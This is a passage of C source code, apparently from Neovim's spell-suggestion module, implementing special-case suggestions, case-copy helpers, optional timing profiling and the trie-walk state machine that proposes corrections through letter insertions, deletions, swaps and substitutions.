"sps_flags". static void spell_suggest_intern(suginfo_T *su, bool interactive) { // Load the .sug file(s) that are available and not done yet. suggest_load_files(); // 1. Try special cases, such as repeating a word: "the the" -> "the". // // Set a maximum score to limit the combination of operations that is // tried. suggest_try_special(su); // 2. Try inserting/deleting/swapping/changing a letter, use REP entries // from the .aff file and inserting a space (split the word). suggest_try_change(su); // For the resulting top-scorers compute the sound-a-like score. if (sps_flags & SPS_DOUBLE) { score_comp_sal(su); } // 3. Try finding sound-a-like words. if ((sps_flags & SPS_FAST) == 0) { if (sps_flags & SPS_BEST) { // Adjust the word score for the suggestions found so far for how // they sounds like. rescore_suggestions(su); } // While going through the soundfold tree "su_maxscore" is the score // for the soundfold word, limits the changes that are being tried, // and "su_sfmaxscore" the rescored score, which is set by // cleanup_suggestions(). // First find words with a small edit distance, because this is much // faster and often already finds the top-N suggestions. If we didn't // find many suggestions try again with a higher edit distance. // "sl_sounddone" is used to avoid doing the same word twice. suggest_try_soundalike_prep(); su->su_maxscore = SCORE_SFMAX1; su->su_sfmaxscore = SCORE_MAXINIT * 3; suggest_try_soundalike(su); if (su->su_ga.ga_len < SUG_CLEAN_COUNT(su)) { // We didn't find enough matches, try again, allowing more // changes to the soundfold word. su->su_maxscore = SCORE_SFMAX2; suggest_try_soundalike(su); if (su->su_ga.ga_len < SUG_CLEAN_COUNT(su)) { // Still didn't find enough matches, try again, allowing even // more changes to the soundfold word. su->su_maxscore = SCORE_SFMAX3; suggest_try_soundalike(su); } } su->su_maxscore = su->su_sfmaxscore; suggest_try_soundalike_finish(); } // When CTRL-C was hit while searching do show the results. Only clear // got_int when using a command, not for spellsuggest(). os_breakcheck(); if (interactive && got_int) { (void)vgetc(); got_int = FALSE; } if ((sps_flags & SPS_DOUBLE) == 0 && su->su_ga.ga_len != 0) { if (sps_flags & SPS_BEST) { // Adjust the word score for how it sounds like. rescore_suggestions(su); } // Remove bogus suggestions, sort and truncate at "maxcount". check_suggestions(su, &su->su_ga); (void)cleanup_suggestions(&su->su_ga, su->su_maxscore, su->su_maxcount); } } // Free the info put in "*su" by spell_find_suggest(). static void spell_find_cleanup(suginfo_T *su) { #define FREE_SUG_WORD(sug) xfree(sug->st_word) // Free the suggestions. GA_DEEP_CLEAR(&su->su_ga, suggest_T, FREE_SUG_WORD); GA_DEEP_CLEAR(&su->su_sga, suggest_T, FREE_SUG_WORD); // Free the banned words. hash_clear_all(&su->su_banned, 0); } /// Make a copy of "word", with the first letter upper or lower cased, to /// "wcopy[MAXWLEN]". "word" must not be empty. /// The result is NUL terminated. /// /// @param[in] word source string to copy /// @param[in,out] wcopy copied string, with case of first letter changed /// @param[in] upper True to upper case, otherwise lower case void onecap_copy(char_u *word, char_u *wcopy, bool upper) { char_u *p = word; int c = mb_cptr2char_adv((const char_u **)&p); if (upper) { c = SPELL_TOUPPER(c); } else { c = SPELL_TOFOLD(c); } int l = utf_char2bytes(c, wcopy); STRLCPY(wcopy + l, p, MAXWLEN - l); } // Make a copy of "word" with all the letters upper cased into // "wcopy[MAXWLEN]". The result is NUL terminated. static void allcap_copy(char_u *word, char_u *wcopy) { char_u *d = wcopy; for (char_u *s = word; *s != NUL;) { int c = mb_cptr2char_adv((const char_u **)&s); if (c == 0xdf) { c = 'S'; if (d - wcopy >= MAXWLEN - 1) { break; } *d++ = c; } else { c = SPELL_TOUPPER(c); } if (d - wcopy >= MAXWLEN - MB_MAXBYTES) { break; } d += utf_char2bytes(c, d); } *d = NUL; } // Try finding suggestions by recognizing specific situations. static void suggest_try_special(suginfo_T *su) { char_u *p; size_t len; int c; char_u word[MAXWLEN]; // Recognize a word that is repeated: "the the". p = skiptowhite(su->su_fbadword); len = p - su->su_fbadword; p = skipwhite(p); if (STRLEN(p) == len && STRNCMP(su->su_fbadword, p, len) == 0) { // Include badflags: if the badword is onecap or allcap // use that for the goodword too: "The the" -> "The". c = su->su_fbadword[len]; su->su_fbadword[len] = NUL; make_case_word(su->su_fbadword, word, su->su_badflags); su->su_fbadword[len] = c; // Give a soundalike score of 0, compute the score as if deleting one // character. add_suggestion(su, &su->su_ga, word, su->su_badlen, RESCORE(SCORE_REP, 0), 0, true, su->su_sallang, false); } } // Measure how much time is spent in each state. // Output is dumped in "suggestprof". #ifdef SUGGEST_PROFILE proftime_T current; proftime_T total; proftime_T times[STATE_FINAL + 1]; long counts[STATE_FINAL + 1]; static void prof_init(void) { for (int i = 0; i <= STATE_FINAL; i++) { profile_zero(&times[i]); counts[i] = 0; } profile_start(&current); profile_start(&total); } // call before changing state static void prof_store(state_T state) { profile_end(&current); profile_add(&times[state], &current); counts[state]++; profile_start(&current); } # define PROF_STORE(state) prof_store(state); static void prof_report(char *name) { FILE *fd = fopen("suggestprof", "a"); profile_end(&total); fprintf(fd, "-----------------------\n"); fprintf(fd, "%s: %s\n", name, profile_msg(&total)); for (int i = 0; i <= STATE_FINAL; i++) { fprintf(fd, "%d: %s ("%" PRId64)\n", i, profile_msg(&times[i]), counts[i]); } fclose(fd); } #else # define PROF_STORE(state) #endif // Try finding suggestions by adding/removing/swapping letters. static void suggest_try_change(suginfo_T *su) { char_u fword[MAXWLEN]; // copy of the bad word, case-folded int n; char_u *p; langp_T *lp; // We make a copy of the case-folded bad word, so that we can modify it // to find matches (esp. REP items). Append some more text, changing // chars after the bad word may help. STRCPY(fword, su->su_fbadword); n = (int)STRLEN(fword); p = su->su_badptr + su->su_badlen; (void)spell_casefold(curwin, p, (int)STRLEN(p), fword + n, MAXWLEN - n); for (int lpi = 0; lpi < curwin->w_s->b_langp.ga_len; ++lpi) { lp = LANGP_ENTRY(curwin->w_s->b_langp, lpi); // If reloading a spell file fails it's still in the list but // everything has been cleared. if (lp->lp_slang->sl_fbyts == NULL) { continue; } // Try it for this language. Will add possible suggestions. // #ifdef SUGGEST_PROFILE prof_init(); #endif suggest_trie_walk(su, lp, fword, false); #ifdef SUGGEST_PROFILE prof_report("try_change"); #endif } } // Check the maximum score, if we go over it we won't try this change. #define TRY_DEEPER(su, stack, depth, add) \ (stack[depth].ts_score + (add) < su->su_maxscore) // Try finding suggestions by adding/removing/swapping letters. // // This uses a state machine. At each node in the tree we try various // operations. When trying if an operation works "depth" is increased and the // stack[] is used to store info. This allows combinations, thus insert one // character, replace one and delete another. The number of changes is // limited by su->su_maxscore. // // After implementing this I noticed an article by Kemal Oflazer that // describes something similar: "Error-tolerant Finite State Recognition with // Applications to Morphological Analysis and Spelling Correction" (1996). // The implementation in the article is simplified and requires a stack of // unknown depth. The implementation here only needs a stack depth equal to // the length of the word. // // This is also used for the sound-folded word, "soundfold" is true then. // The mechanism is the same, but we find a match with a sound-folded word // that comes from one or more original words. Each of these words may be // added, this is done by add_sound_suggest(). // Don't use: // the prefix tree or the keep-case tree // "su->su_badlen" // anything to do with upper and lower case // anything to do with word or non-word characters ("spell_iswordp()") // banned words // word flags (rare, region, compounding) // word splitting for now // "similar_chars()" // use "slang->sl_repsal" instead of "lp->lp_replang->sl_rep" static void suggest_trie_walk(suginfo_T *su, langp_T *lp, char_u *fword, bool soundfold) { char_u tword[MAXWLEN]; // good word collected so far trystate_T stack[MAXWLEN]; char_u preword[MAXWLEN * 3] = { 0 }; // word found with proper case; // concatenation of prefix compound // words and split word. NUL terminated // when going deeper but not when coming // back. char_u compflags[MAXWLEN]; // compound flags, one for each word trystate_T *sp; int newscore; int score; char_u *byts, *fbyts, *pbyts; idx_T *idxs, *fidxs, *pidxs; int depth; int c, c2, c3; int n = 0; int flags; garray_T *gap; idx_T arridx; int len; char_u *p; fromto_T *ftp; int fl = 0, tl; int repextra = 0; // extra bytes in fword[] from REP item slang_T *slang = lp->lp_slang; int fword_ends; bool goodword_ends; #ifdef DEBUG_TRIEWALK // Stores the name of the change made at each level. char_u changename[MAXWLEN][80]; #endif int breakcheckcount = 1000; bool compound_ok; // Go through the whole case-fold tree, try changes at each node. // "tword[]" contains the word collected from nodes in the tree. // "fword[]" the word we are trying to match with (initially the bad // word). depth = 0; sp = &stack[0]; memset(sp, 0, sizeof(trystate_T)); // -V512 sp->ts_curi = 1; if (soundfold) { // Going through the soundfold tree. byts = fbyts = slang->sl_sbyts; idxs = fidxs = slang->sl_sidxs; pbyts = NULL; pidxs = NULL; sp->ts_prefixdepth = PFD_NOPREFIX; sp->ts_state = STATE_START; } else { // When there are postponed prefixes we need to use these first. At // the end of the prefix we continue in the case-fold tree. fbyts = slang->sl_fbyts; fidxs = slang->sl_fidxs; pbyts = slang->sl_pbyts; pidxs = slang->sl_pidxs; if (pbyts != NULL) { byts = pbyts; idxs = pidxs; sp->ts_prefixdepth = PFD_PREFIXTREE; sp->ts_state = STATE_NOPREFIX; // try without prefix first } else { byts = fbyts; idxs = fidxs; sp->ts_prefixdepth = PFD_NOPREFIX; sp->ts_state = STATE_START; } } // Loop to find all suggestions. At each round we either: // - For the current state try one operation, advance "ts_curi", // increase "depth". // - When a state is done go to the next, set "ts_state". // - When all states are tried decrease "depth". while (depth >= 0 && !got_int) { sp = &stack[depth]; switch (sp->ts_state) { case STATE_START: case STATE_NOPREFIX: // Start of node: Deal with NUL bytes, which means // tword[] may end here. arridx = sp->ts_arridx; // current node in the tree len = byts[arridx]; // bytes in this node arridx += sp->ts_curi; // index of current byte if (sp->ts_prefixdepth == PFD_PREFIXTREE) { // Skip over the NUL bytes, we use them later. for (n = 0; n < len && byts[arridx + n] == 0; ++n) { } sp->ts_curi += n; // Always past NUL bytes now. n = (int)sp->ts_state; PROF_STORE(sp->ts_state) sp->ts_state = STATE_ENDNUL; sp->ts_save_badflags = su->su_badflags; // At end of a prefix or at start of prefixtree: check for // following word. if (byts[arridx] == 0 || n == (int)STATE_NOPREFIX) { // Set su->su_badflags to the caps type at this position. // Use the caps type until here for the prefix itself. n = nofold_len(fword, sp->ts_fidx, su->su_badptr); flags = badword_captype(su->su_badptr, su->su_badptr + n); su->su_badflags = badword_captype(su->su_badptr + n, su->su_badptr + su->su_badlen); #ifdef DEBUG_TRIEWALK sprintf(changename[depth], "prefix"); #endif go_deeper(stack, depth, 0); ++depth; sp = &stack[depth]; sp->ts_prefixdepth = depth - 1; byts = fbyts; idxs = fidxs; sp->ts_arridx = 0; // Move the prefix to preword[] with the right case // and make find_keepcap_word() works. tword[sp->ts_twordlen] = NUL; make_case_word(tword + sp->ts_splitoff, preword + sp->ts_prewordlen, flags); sp->ts_prewordlen = (char_u)STRLEN(preword); sp->ts_splitoff = sp->ts_twordlen; } break; } if (sp->ts_curi > len || byts[arridx] != 0) { // Past bytes in node and/or past NUL bytes. PROF_STORE(sp->ts_state) sp->ts_state = STATE_ENDNUL; sp->ts_save_badflags = su->su_badflags; break; } // End of word in tree. ++sp->ts_curi; // eat one NUL byte flags = (int)idxs[arridx]; // Skip words with the NOSUGGEST flag. if (flags & WF_NOSUGGEST) { break; } fword_ends = (fword[sp->ts_fidx] == NUL || (soundfold ? ascii_iswhite(fword[sp->ts_fidx]) : !spell_iswordp(fword + sp->ts_fidx, curwin))); tword[sp->ts_twordlen] = NUL; if (sp->ts_prefixdepth <= PFD_NOTSPECIAL && (sp->ts_flags & TSF_PREFIXOK) == 0 && pbyts != NULL) { // There was a prefix before the word. Check that the prefix // can be used with this word. // Count the length of the NULs in the prefix. If there are // none this must be the first try without a prefix. n = stack[sp->ts_prefixdepth].ts_arridx; len = pbyts[n++]; for (c = 0; c < len && pbyts[n + c] == 0; ++c) { } if (c > 0) { c = valid_word_prefix(c, n, flags, tword + sp->ts_splitoff, slang, false); if (c == 0) { break; } // Use the WF_RARE flag for a rare prefix. if (c & WF_RAREPFX) { flags |= WF_RARE; } // Tricky: when checking for both prefix and compounding // we run into the prefix flag first. // Remember that it's OK, so that we accept the prefix // when arriving at a compound flag. sp->ts_flags |= TSF_PREFIXOK; } } // Check NEEDCOMPOUND: can't use word without compounding. Do try // appending another compound word below. if (sp->ts_complen == sp->ts_compsplit && fword_ends && (flags & WF_NEEDCOMP)) { goodword_ends = false; } else { goodword_ends = true; } p = NULL; compound_ok = true; if (sp->ts_complen > sp->ts_compsplit) { if (slang->sl_nobreak) { // There was a word before this word. When there was no // change in this word (it was correct) add the first word // as a suggestion. If this word was corrected too, we // need to check if a correct word follows. if (sp->ts_fidx - sp->ts_splitfidx == sp->ts_twordlen - sp->ts_splitoff && STRNCMP(fword + sp->ts_splitfidx, tword + sp->ts_splitoff, sp->ts_fidx - sp->ts_splitfidx) == 0) { preword[sp->ts_prewordlen] = NUL; newscore = score_wordcount_adj(slang, sp->ts_score, preword + sp->ts_prewordlen, sp->ts_prewordlen > 0); // Add the suggestion if the score isn't too bad. if (newscore <= su->su_maxscore) { add_suggestion(su, &su->su_ga, preword, sp->ts_splitfidx - repextra, newscore, 0, false, lp->lp_sallang, false); } break; } } else { // There was a compound word before this word. If this // word does not support compounding then give up // (splitting is tried for the word without compound // flag). if (((unsigned)flags >> 24) == 0 || sp->ts_twordlen - sp->ts_splitoff < slang->sl_compminlen) { break; } // For multi-byte chars check character length against // COMPOUNDMIN. if (slang->sl_compminlen > 0 && mb_charlen(tword + sp->ts_splitoff) < slang->sl_compminlen) { break; } compflags[sp->ts_complen] = ((unsigned)flags >> 24); compflags[sp->ts_complen + 1] = NUL; STRLCPY(preword + sp->ts_prewordlen, tword + sp->ts_splitoff, sp->ts_twordlen - sp->ts_splitoff + 1); // Verify CHECKCOMPOUNDPATTERN rules. if (match_checkcompoundpattern(preword, sp->ts_prewordlen, &slang->sl_comppat)) { compound_ok = false; } if (compound_ok) { p = preword; while (*skiptowhite(p) != NUL) { p = skipwhite(skiptowhite(p)); } if (fword_ends && !can_compound(slang, p, compflags + sp->ts_compsplit)) { // Compound is not allowed. But it may still be // possible if we add another (short) word. compound_ok = false; } } // Get pointer to last char of previous word. p = preword + sp->ts_prewordlen; MB_PTR_BACK(preword, p); } } // Form the word with proper case in preword. // If there is a word from a previous split, append. // For the soundfold tree don't change the case, simply append. if (soundfold) { STRCPY(preword + sp->ts_prewordlen, tword + sp->ts_splitoff); } else if (flags & WF_KEEPCAP) { // Must find the word in the keep-case tree. find_keepcap_word(slang, tword + sp->ts_splitoff, preword + sp->ts_prewordlen); } else { // Include badflags: If the badword is onecap or allcap // use that for the goodword too. But if the badword is // allcap and it's only one char long use onecap. c = su->su_badflags; if ((c & WF_ALLCAP) && su->su_badlen == utfc_ptr2len(su->su_badptr)) { c = WF_ONECAP; } c |= flags; // When appending a compound word after a word character don't // use Onecap. if (p != NULL && spell_iswordp_nmw(p, curwin)) { c &= ~WF_ONECAP; } make_case_word(tword + sp->ts_splitoff, preword + sp->ts_prewordlen, c); } if (!soundfold) { // Don't use a banned word. It may appear again as a good // word, thus remember it. if (flags & WF_BANNED) { add_banned(su, preword + sp->ts_prewordlen); break; } if ((sp->ts_complen == sp->ts_compsplit && WAS_BANNED(su, preword + sp->ts_prewordlen)) || WAS_BANNED(su, preword)) { if (slang->sl_compprog == NULL) { break; } // the word so far was banned but we may try compounding goodword_ends = false; } } newscore = 0; if (!soundfold) { // soundfold words don't have flags if ((flags & WF_REGION) && (((unsigned)flags >> 16) & lp->lp_region) == 0) { newscore += SCORE_REGION; } if (flags & WF_RARE) { newscore += SCORE_RARE; } if (!spell_valid_case(su->su_badflags, captype(preword + sp->ts_prewordlen, NULL))) { newscore += SCORE_ICASE; } } // TODO: how about splitting in the soundfold tree? if (fword_ends && goodword_ends && sp->ts_fidx >= sp->ts_fidxtry && compound_ok) { // The badword also ends: add suggestions. #ifdef DEBUG_TRIEWALK if (soundfold && STRCMP(preword, "smwrd") == 0) { int j; // print the stack of changes that brought us here smsg("------ %s -------", fword); for (j = 0; j < depth; ++j) { smsg("%s", changename[j]); } } #endif if (soundfold) { // For soundfolded words we need to find the original // words, the edit distance and then add them. add_sound_suggest(su, preword, sp->ts_score, lp); } else if (sp->ts_fidx > 0) { // Give a penalty when changing non-word char to word // char, e.g., "thes," -> "these". p = fword + sp->ts_fidx; MB_PTR_BACK(fword, p); if (!spell_iswordp(p, curwin) && *preword != NUL) { p = preword + STRLEN(preword); MB_PTR_BACK(preword, p); if (spell_iswordp(p, curwin)) { newscore += SCORE_NONWORD; } } // Give a bonus to words seen before. score = score_wordcount_adj(slang, sp->ts_score + newscore, preword + sp->ts_prewordlen, sp->ts_prewordlen > 0); // Add the suggestion if the score isn't too bad. if (score <= su->su_maxscore) { add_suggestion(su, &su->su_ga, preword, sp->ts_fidx - repextra, score, 0, false, lp->lp_sallang, false); if (su->su_badflags & WF_MIXCAP) { // We really don't know if the word should be // upper or lower case, add both. c = captype(preword, NULL); if (c == 0 || c == WF_ALLCAP) { make_case_word(tword + sp->ts_splitoff, preword + sp->ts_prewordlen, c == 0 ? WF_ALLCAP : 0); add_suggestion(su, &su->su_ga, preword, sp->ts_fidx - repextra, score + SCORE_ICASE, 0, false, lp->lp_sallang, false); } } } } } // Try word split and/or compounding. if ((sp->ts_fidx >= sp->ts_fidxtry || fword_ends) // Don't split in the middle of a character && (sp->ts_tcharlen == 0)) { bool try_compound; int try_split; // If past the end of the bad word don't try a split. // Otherwise try changing the next word. E.g., find // suggestions for "the the" where the second "the" is // different. It's done like a split. // TODO: word split for soundfold words try_split = (sp->ts_fidx - repextra < su->su_badlen) && !soundfold; // Get here in several situations: // 1. The word in the tree ends: // If the word allows compounding try that. Otherwise try // a split by inserting a space. For both check that a // valid words starts at fword[sp->ts_fidx]. // For NOBREAK do like compounding to be able to check if // the next word is valid. // 2. The badword does end, but it was due to a change (e.g., // a swap). No need to split, but do check that the // following word is valid. // 3. The badword and the word in the tree end. It may still // be possible to compound another (short) word. try_compound = false; if (!soundfold && !slang->sl_nocompoundsugs && slang->sl_compprog != NULL && ((unsigned)flags >> 24) != 0 && sp->ts_twordlen - sp->ts_splitoff >= slang->sl_compminlen && (slang->sl_compminlen == 0 || mb_charlen(tword + sp->ts_splitoff) >= slang->sl_compminlen) && (slang->sl_compsylmax < MAXWLEN || sp->ts_complen + 1 - sp->ts_compsplit < slang->sl_compmax) && (can_be_compound(sp, slang, compflags, ((unsigned)flags >> 24)))) { try_compound = true; compflags[sp->ts_complen] = ((unsigned)flags >> 24); compflags[sp->ts_complen + 1] = NUL; } // For NOBREAK we never try splitting, it won't make any word // valid. if (slang->sl_nobreak && !slang->sl_nocompoundsugs) { try_compound = true; } else if (!fword_ends && try_compound && (sp->ts_flags & TSF_DIDSPLIT) == 0) { // If we could add a compound word, and it's also possible to // split at this point, do the split first and set // TSF_DIDSPLIT to avoid doing it again. try_compound = false; sp->ts_flags |= TSF_DIDSPLIT; --sp->ts_curi; // do the same NUL again compflags[sp->ts_complen] = NUL; } else { sp->ts_flags &= ~TSF_DIDSPLIT; } if (try_split || try_compound) { if (!try_compound && (!fword_ends || !goodword_ends)) { // If we're going to split need to check that the // words so far are valid for compounding. If there // is only one word it must not have the NEEDCOMPOUND // flag. if (sp->ts_complen == sp->ts_compsplit && (flags & WF_NEEDCOMP)) { break; } p = preword; while (*skiptowhite(p) != NUL) { p = skipwhite(skiptowhite(p)); } if (sp->ts_complen > sp->ts_compsplit && !can_compound(slang, p, compflags + sp->ts_compsplit)) { break; } if (slang->sl_nosplitsugs) { newscore += SCORE_SPLIT_NO; } else { newscore += SCORE_SPLIT; } // Give a bonus to words seen before. newscore = score_wordcount_adj(slang, newscore, preword + sp->ts_prewordlen, true); } if (TRY_DEEPER(su, stack, depth, newscore)) { go_deeper(stack, depth, newscore); #ifdef DEBUG_TRIEWALK if (!try_compound && !fword_ends) { sprintf(changename[depth], "%.*s-%s: split", sp->ts_twordlen, tword, fword + sp->ts_fidx); } else { sprintf(changename[depth], "%.*s-%s: compound", sp->ts_twordlen, tword, fword + sp->ts_fidx); } #endif // Save things to be restored at STATE_SPLITUNDO. sp->ts_save_badflags = su->su_badflags; PROF_STORE(sp->ts_state) sp->ts_state = STATE_SPLITUNDO; ++depth; sp = &stack[depth]; // Append a space to preword when splitting. if (!try_compound && !fword_ends) { STRCAT(preword, " "); } sp->ts_prewordlen = (char_u)STRLEN(preword); sp->ts_splitoff = sp->ts_twordlen; sp->ts_splitfidx = sp->ts_fidx; // If the badword has a non-word character at this // position skip it. That means replacing the // non-word character with a space. Always skip a // character when the word ends. But only when the // good word can end. if (((!try_compound && !spell_iswordp_nmw(fword + sp->ts_fidx, curwin)) || fword_ends) && fword[sp->ts_fidx] != NUL && goodword_ends) { int l; l = utfc_ptr2len(fword + sp->ts_fidx); if (fword_ends) { // Copy the skipped character to preword. memmove(preword + sp->ts_prewordlen, fword + sp->ts_fidx, l); sp->ts_prewordlen += l; preword[sp->ts_prewordlen] = NUL; } else { sp->ts_score -= SCORE_SPLIT - SCORE_SUBST; } sp->ts_fidx += l; } // When compounding include compound flag in // compflags[] (already set above). When splitting we // may start compounding over again. if (try_compound) { ++sp->ts_complen; } else { sp->ts_compsplit = sp->ts_complen; } sp->ts_prefixdepth = PFD_NOPREFIX; // set su->su_badflags to the caps type at this // position n = nofold_len(fword, sp->ts_fidx, su->su_badptr); su->su_badflags = badword_captype(su->su_badptr + n, su->su_badptr + su->su_badlen); // Restart at top of the tree. sp->ts_arridx = 0; // If there are postponed prefixes, try these too. if (pbyts != NULL) { byts = pbyts; idxs = pidxs; sp->ts_prefixdepth = PFD_PREFIXTREE; PROF_STORE(sp->ts_state) sp->ts_state = STATE_NOPREFIX; } } } } break; case STATE_SPLITUNDO: // Undo the changes done for word split or compound word. su->su_badflags = sp->ts_save_badflags; // Continue looking for NUL bytes. PROF_STORE(sp->ts_state) sp->ts_state = STATE_START; // In case we went into the prefix tree. byts = fbyts; idxs = fidxs; break; case STATE_ENDNUL: // Past the NUL bytes in the node. su->su_badflags = sp->ts_save_badflags; if (fword[sp->ts_fidx] == NUL && sp->ts_tcharlen == 0) { // The badword ends, can't use STATE_PLAIN. PROF_STORE(sp->ts_state) sp->ts_state = STATE_DEL; break; } PROF_STORE(sp->ts_state) sp->ts_state = STATE_PLAIN; FALLTHROUGH; case STATE_PLAIN: // Go over all possible bytes at this node, add each to tword[] // and use child node. "ts_curi" is the index. arridx = sp->ts_arridx; if (sp->ts_curi > byts[arridx]) { // Done all bytes at this node, do next state. When still at // already changed bytes skip the other tricks. PROF_STORE(sp->ts_state) if (sp->ts_fidx >= sp->ts_fidxtry) { sp->ts_state = STATE_DEL; } else { sp->ts_state = STATE_FINAL; } } else { arridx += sp->ts_curi++; c = byts[arridx]; // Normal byte, go one level deeper. If it's not equal to the // byte in the bad word adjust the score. But don't even try // when the byte was already changed. And don't try when we // just deleted this byte, accepting it is always cheaper than // delete + substitute. if (c == fword[sp->ts_fidx] || (sp->ts_tcharlen > 0 && sp->ts_isdiff != DIFF_NONE)) { newscore = 0; } else { newscore = SCORE_SUBST; } if ((newscore == 0 || (sp->ts_fidx >= sp->ts_fidxtry && ((sp->ts_flags & TSF_DIDDEL) == 0 || c != fword[sp->ts_delidx]))) && TRY_DEEPER(su, stack, depth, newscore)) { go_deeper(stack, depth, newscore); #ifdef DEBUG_TRIEWALK if (newscore > 0) { sprintf(changename[depth], "%.*s-%s: subst %c to %c", sp->ts_twordlen, tword, fword + sp->ts_fidx, fword[sp->ts_fidx], c); } else { sprintf(changename[depth], "%.*s-%s: accept %c", sp->ts_twordlen, tword, fword + sp->ts_fidx, fword[sp->ts_fidx]); } #endif ++depth; sp = &stack[depth]; ++sp->ts_fidx; tword[sp->ts_twordlen++] = c; sp->ts_arridx = idxs[arridx]; if (newscore == SCORE_SUBST) { sp->ts_isdiff = DIFF_YES; } // Multi-byte characters are a bit complicated to // handle: They differ when any of the bytes differ // and then their length may also differ. if (sp->ts_tcharlen == 0) { // First byte. sp->ts_tcharidx = 0; sp->ts_tcharlen = MB_BYTE2LEN(c); sp->ts_fcharstart = sp->ts_fidx - 1; sp->ts_isdiff = (newscore != 0) ? DIFF_YES : DIFF_NONE; } else if (sp->ts_isdiff == DIFF_INSERT) { // When inserting trail bytes don't advance in the // bad word. sp->ts_fidx--; } if (++sp->ts_tcharidx == sp->ts_tcharlen) { // Last byte of character. if (sp->ts_isdiff == DIFF_YES) { // Correct ts_fidx for the byte length of the // character (we didn't check that before). sp->ts_fidx = sp->ts_fcharstart + utfc_ptr2len(fword + sp->ts_fcharstart); // For changing a composing character adjust // the score from SCORE_SUBST to // SCORE_SUBCOMP. if (utf_iscomposing(utf_ptr2char(tword + sp->ts_twordlen - sp->ts_tcharlen)) && utf_iscomposing(utf_ptr2char(fword + sp->ts_fcharstart))) { sp->ts_score -= SCORE_SUBST - SCORE_SUBCOMP; } else if ( !soundfold && slang->sl_has_map && similar_chars(slang, utf_ptr2char(tword + sp->ts_twordlen - sp->ts_tcharlen), utf_ptr2char(fword + sp->ts_fcharstart))) { // For a similar character adjust score from // SCORE_SUBST to SCORE_SIMILAR. sp->ts_score -= SCORE_SUBST - SCORE_SIMILAR; } } else if (sp->ts_isdiff == DIFF_INSERT && sp->ts_twordlen > sp->ts_tcharlen) { p = tword + sp->ts_twordlen - sp->ts_tcharlen; c = utf_ptr2char(p); if (utf_iscomposing(c)) { // Inserting a composing char doesn't // count that much. sp->ts_score -= SCORE_INS - SCORE_INSCOMP; } else { // If the previous character was the same, // thus doubling a character, give a bonus // to the score. Also for the soundfold // tree (might seem illogical but does // give better scores). MB_PTR_BACK(tword, p); if (c == utf_ptr2char(p)) { sp->ts_score -= SCORE_INS - SCORE_INSDUP; } } } // Starting a new char, reset the length. sp->ts_tcharlen = 0; } } } break; case STATE_DEL: // When past the first byte of a multi-byte char don't try // delete/insert/swap a character. if (sp->ts_tcharlen > 0) { PROF_STORE(sp->ts_state) sp->ts_state = STATE_FINAL; break; } // Try skipping one character in the bad word (delete it). PROF_STORE(sp->ts_state) sp->ts_state = STATE_INS_PREP; sp->ts_curi = 1; if (soundfold && sp->ts_fidx == 0 && fword[sp->ts_fidx] == '*') { // Deleting a vowel at the start of a word counts less, see // soundalike_score(). newscore = 2 * SCORE_DEL / 3; } else { newscore = SCORE_DEL; } if (fword[sp->ts_fidx] != NUL && TRY_DEEPER(su, stack, depth, newscore)) { go_deeper(stack, depth, newscore); #ifdef DEBUG_TRIEWALK sprintf(changename[depth], "%.*s-%s: delete %c", sp->ts_twordlen, tword, fword + sp->ts_fidx, fword[sp->ts_fidx]); #endif ++depth; // Remember what character we deleted, so that we can avoid // inserting it again. stack[depth].ts_flags |= TSF_DIDDEL; stack[depth].ts_delidx = sp->ts_fidx; // Advance over the character in fword[]. Give a bonus to the // score if the same character is following "nn" -> "n". It's // a bit illogical for soundfold tree but it does give better // results. c = utf_ptr2char(fword + sp->ts_fidx); stack[depth].ts_fidx += utfc_ptr2len(fword + sp->ts_fidx); if (utf_iscomposing(c)) { stack[depth].ts_score -= SCORE_DEL - SCORE_DELCOMP; } else if (c == utf_ptr2char(fword + stack[depth].ts_fidx)) { stack[depth].ts_score -= SCORE_DEL - SCORE_DELDUP; } break; } FALLTHROUGH; case STATE_INS_PREP: if (sp->ts_flags & TSF_DIDDEL) { // If we just deleted a byte then inserting won't make sense, // a substitute is always cheaper. PROF_STORE(sp->ts_state) sp->ts_state = STATE_SWAP; break; } // skip over NUL bytes n = sp->ts_arridx; for (;;) { if (sp->ts_curi > byts[n]) { // Only NUL bytes at this node, go to next state. PROF_STORE(sp->ts_state) sp->ts_state = STATE_SWAP; break; } if (byts[n + sp->ts_curi] != NUL) { // Found a byte to insert. PROF_STORE(sp->ts_state) sp->ts_state = STATE_INS; break; } ++sp->ts_curi; } break; case STATE_INS: // Insert one byte. Repeat this for each possible byte at this // node. n = sp->ts_arridx; if (sp->ts_curi > byts[n]) { // Done all bytes at this node, go to next state. PROF_STORE(sp->ts_state) sp->ts_state = STATE_SWAP; break; } // Do one more byte at this node, but: // - Skip NUL bytes. // - Skip the byte if it's equal to the byte in the word, // accepting that byte is always better. n += sp->ts_curi++; c = byts[n]; if (soundfold && sp->ts_twordlen == 0 && c == '*') { // Inserting a vowel at the start of a word counts less, // see soundalike_score(). newscore = 2 * SCORE_INS / 3; } else { newscore = SCORE_INS; } if (c != fword[sp->ts_fidx] && TRY_DEEPER(su, stack, depth, newscore)) { go_deeper(stack, depth, newscore); #ifdef DEBUG_TRIEWALK sprintf(changename[depth], "%.*s-%s: insert %c", sp->ts_twordlen, tword, fword + sp->ts_fidx, c); #endif ++depth; sp = &stack[depth]; tword[sp->ts_twordlen++] = c; sp->ts_arridx = idxs[n]; fl = MB_BYTE2LEN(c); if (fl > 1) { // There are following bytes for the same character. // We must find all bytes before trying // delete/insert/swap/etc. sp->ts_tcharlen = fl; sp->ts_tcharidx = 1; sp->ts_isdiff = DIFF_INSERT; } if (fl == 1) { // If the previous character was the same, thus doubling a // character, give a bonus to the score. Also for // soundfold words (illogical but does give a better // score). if (sp->ts_twordlen >= 2 && tword[sp->ts_twordlen - 2] == c) { sp->ts_score -= SCORE_INS - SCORE_INSDUP; } } } break; case STATE_SWAP: // Swap two bytes in the bad word: "12" -> "21". // We change "fword" here, it's changed back afterwards at // STATE_UNSWAP. p = fword + sp->ts_fidx; c = *p; if (c == NUL) { // End of word, can't swap or replace. PROF_STORE(sp->ts_state) sp->ts_state = STATE_FINAL; break; } // Don't swap if the first character is not a word character. // SWAP3 etc. also don't make sense then. if (!soundfold && !spell_iswordp(p, curwin)) { PROF_STORE(sp->ts_state) sp->ts_state = STATE_REP_INI; break; } n = utf_ptr2len(p); c = utf_ptr2char(p); if (p[n] == NUL) { c2 = NUL; } else if (!soundfold && !spell_iswordp(p + n, curwin)) { c2 = c; // don't swap non-word char } else { c2 = utf_ptr2char(p + n); } // When the second character is NUL we can't swap. if (c2 == NUL) { PROF_STORE(sp->ts_state) sp->ts_state = STATE_REP_INI; break; } // When characters are identical, swap won't do anything. 